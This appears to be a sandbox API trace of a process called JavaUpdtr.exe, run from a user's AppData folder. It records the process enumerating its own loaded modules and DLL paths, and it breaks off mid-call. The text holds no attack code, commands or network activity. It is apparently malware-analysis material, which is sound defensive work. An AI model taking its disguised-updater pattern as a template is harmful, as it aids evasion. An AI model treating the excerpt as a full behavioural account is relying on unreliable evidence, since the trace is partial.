[0116.452] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.453] GetLastError () returned 0x1e7 [0116.453] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.453] GetLastError () returned 0x1e7 [0116.453] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x266445c, cb=0xc | out: lpmodinfo=0x266445c*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.454] GetLastError () returned 0x1e7 [0116.454] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.454] GetLastError () returned 0x1e7 [0116.454] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.455] GetLastError () returned 0x1e7 [0116.455] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x26655f0, cb=0xc | out: lpmodinfo=0x26655f0*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.455] GetLastError () returned 0x1e7 [0116.455] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.456] GetLastError () returned 0x1e7 [0116.456] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.456] GetLastError () returned 0x1e7 [0116.456] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x26666ec, cb=0xc | out: lpmodinfo=0x26666ec*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.457] GetLastError () returned 0x1e7 [0116.457] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.457] GetLastError () returned 0x1e7 [0116.457] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.458] GetLastError () returned 0x1e7 [0116.458] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x26677e0, cb=0xc | out: lpmodinfo=0x26677e0*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.458] GetLastError () returned 0x1e7 [0116.458] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.459] GetLastError () returned 0x1e7 [0116.459] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.459] GetLastError () returned 0x1e7 [0116.460] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x26688dc, cb=0xc | out: lpmodinfo=0x26688dc*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.460] GetLastError () returned 0x1e7 [0116.460] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.460] GetLastError () returned 0x1e7 [0116.461] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.461] GetLastError () returned 0x1e7 [0116.461] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x2669a74, cb=0xc | out: lpmodinfo=0x2669a74*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.462] GetLastError () returned 0x1e7 [0116.462] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.462] GetLastError () returned 0x1e7 [0116.462] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.463] GetLastError () returned 0x1e7 [0116.463] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x266ab70, cb=0xc | out: lpmodinfo=0x266ab70*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.463] GetLastError () returned 0x1e7 [0116.463] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.465] GetLastError () returned 0x1e7 [0116.465] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.466] GetLastError () returned 0x1e7 [0116.466] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x266bca8, cb=0xc | out: lpmodinfo=0x266bca8*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.466] GetLastError () returned 0x1e7 [0116.466] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.467] GetLastError () returned 0x1e7 [0116.467] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.467] GetLastError () returned 0x1e7 [0116.467] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x266ce34, cb=0xc | out: lpmodinfo=0x266ce34*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.468] GetLastError () returned 0x1e7 [0116.468] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.469] GetLastError () returned 0x1e7 [0116.469] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.469] GetLastError () returned 0x1e7 [0116.469] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x266dff0, cb=0xc | out: lpmodinfo=0x266dff0*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.470] GetLastError () returned 0x1e7 [0116.470] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.470] GetLastError () returned 0x1e7 [0116.470] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.471] GetLastError () returned 0x1e7 [0116.471] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x266f1d4, cb=0xc | out: lpmodinfo=0x266f1d4*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.472] GetLastError () returned 0x1e7 [0116.472] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.472] GetLastError () returned 0x1e7 [0116.472] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.473] GetLastError () returned 0x1e7 [0116.473] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x2670374, cb=0xc | out: lpmodinfo=0x2670374*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.474] GetLastError () returned 0x1e7 [0116.474] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.474] GetLastError () returned 0x1e7 [0116.474] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.475] GetLastError () returned 0x1e7 [0116.475] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x2671598, cb=0xc | out: lpmodinfo=0x2671598*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.476] GetLastError () returned 0x1e7 [0116.476] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.476] GetLastError () returned 0x1e7 [0116.476] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.477] GetLastError () returned 0x1e7 [0116.477] CloseHandle (hObject=0x20c) returned 1 [0116.477] GetLastError () returned 0x1e7 [0116.482] GetCurrentProcessId () returned 0x4e8 [0116.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x20c [0116.482] GetLastError () returned 0x1e7 [0116.482] EnumProcessModules (in: hProcess=0x20c, lphModule=0x27491d4, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x27491d4, lpcbNeeded=0x31c9a8) returned 1 [0116.483] GetLastError () returned 0x1e7 [0116.483] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x2749314, cb=0xc | out: lpmodinfo=0x2749314*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.483] GetLastError () returned 0x1e7 [0116.483] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.483] GetLastError () returned 0x1e7 [0116.483] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.483] GetLastError () returned 0x1e7 [0116.483] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x274a478, cb=0xc | out: lpmodinfo=0x274a478*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.483] GetLastError () returned 0x1e7 [0116.483] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.484] GetLastError () returned 0x1e7 [0116.484] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.484] GetLastError () returned 0x1e7 [0116.484] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x274b56c, cb=0xc | out: lpmodinfo=0x274b56c*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.484] GetLastError () returned 0x1e7 [0116.484] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.484] GetLastError () returned 0x1e7 [0116.484] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.485] GetLastError () returned 0x1e7 [0116.485] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x274c668, cb=0xc | out: lpmodinfo=0x274c668*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.485] GetLastError () returned 0x1e7 [0116.485] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.485] GetLastError () returned 0x1e7 [0116.485] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.485] GetLastError () returned 0x1e7 [0116.485] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x274d76c, cb=0xc | out: lpmodinfo=0x274d76c*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.486] GetLastError () returned 0x1e7 [0116.486] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.486] GetLastError () returned 0x1e7 [0116.486] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.486] GetLastError () returned 0x1e7 [0116.486] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x274e8a8, cb=0xc | out: lpmodinfo=0x274e8a8*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.486] GetLastError () returned 0x1e7 [0116.486] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.487] GetLastError () returned 0x1e7 [0116.487] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.487] GetLastError () returned 0x1e7 [0116.487] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x274f9ac, cb=0xc | out: lpmodinfo=0x274f9ac*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.487] GetLastError () returned 0x1e7 [0116.487] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.487] GetLastError () returned 0x1e7 [0116.488] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.488] GetLastError () returned 0x1e7 [0116.488] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x2750aa8, cb=0xc | out: lpmodinfo=0x2750aa8*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.488] GetLastError () returned 0x1e7 [0116.488] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.488] GetLastError () returned 0x1e7 [0116.488] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.489] GetLastError () returned 0x1e7 [0116.489] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x2751ba4, cb=0xc | out: lpmodinfo=0x2751ba4*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.489] GetLastError () returned 0x1e7 [0116.489] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.489] GetLastError () returned 0x1e7 [0116.489] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.490] GetLastError () returned 0x1e7 [0116.490] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x2752cf0, cb=0xc | out: lpmodinfo=0x2752cf0*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.490] GetLastError () returned 0x1e7 [0116.490] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.490] GetLastError () returned 0x1e7 [0116.490] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.491] GetLastError () returned 0x1e7 [0116.491] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x2753dec, cb=0xc | out: lpmodinfo=0x2753dec*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.491] GetLastError () returned 0x1e7 [0116.491] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.491] GetLastError () returned 0x1e7 [0116.491] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.492] GetLastError () returned 0x1e7 [0116.492] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x2754ef0, cb=0xc | out: lpmodinfo=0x2754ef0*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.492] GetLastError () returned 0x1e7 [0116.492] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.492] GetLastError () returned 0x1e7 [0116.492] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.493] GetLastError () returned 0x1e7 [0116.493] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x2756028, cb=0xc | out: lpmodinfo=0x2756028*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.493] GetLastError () returned 0x1e7 [0116.493] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.493] GetLastError () returned 0x1e7 [0116.493] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.494] GetLastError () returned 0x1e7 [0116.494] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x2757124, cb=0xc | out: lpmodinfo=0x2757124*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.494] GetLastError () returned 0x1e7 [0116.494] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.494] GetLastError () returned 0x1e7 [0116.495] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.495] GetLastError () returned 0x1e7 [0116.495] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x2758218, cb=0xc | out: lpmodinfo=0x2758218*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.495] GetLastError () returned 0x1e7 [0116.495] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.496] GetLastError () returned 0x1e7 [0116.496] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.496] GetLastError () returned 0x1e7 [0116.496] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x2759314, cb=0xc | out: lpmodinfo=0x2759314*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.497] GetLastError () returned 0x1e7 [0116.497] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.497] GetLastError () returned 0x1e7 [0116.497] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.497] GetLastError () returned 0x1e7 [0116.497] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x275a400, cb=0xc | out: lpmodinfo=0x275a400*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.498] GetLastError () returned 0x1e7 [0116.498] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.498] GetLastError () returned 0x1e7 [0116.498] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.499] GetLastError () returned 0x1e7 [0116.499] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x275b584, cb=0xc | out: lpmodinfo=0x275b584*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.499] GetLastError () returned 0x1e7 [0116.499] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.499] GetLastError () returned 0x1e7 [0116.500] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.500] GetLastError () returned 0x1e7 [0116.500] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x275c678, cb=0xc | out: lpmodinfo=0x275c678*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.500] GetLastError () returned 0x1e7 [0116.500] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.501] GetLastError () returned 0x1e7 [0116.501] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.501] GetLastError () returned 0x1e7 [0116.501] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x275d76c, cb=0xc | out: lpmodinfo=0x275d76c*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.502] GetLastError () returned 0x1e7 [0116.502] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.502] GetLastError () returned 0x1e7 [0116.502] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.503] GetLastError () returned 0x1e7 [0116.503] GetModuleInformation (in: 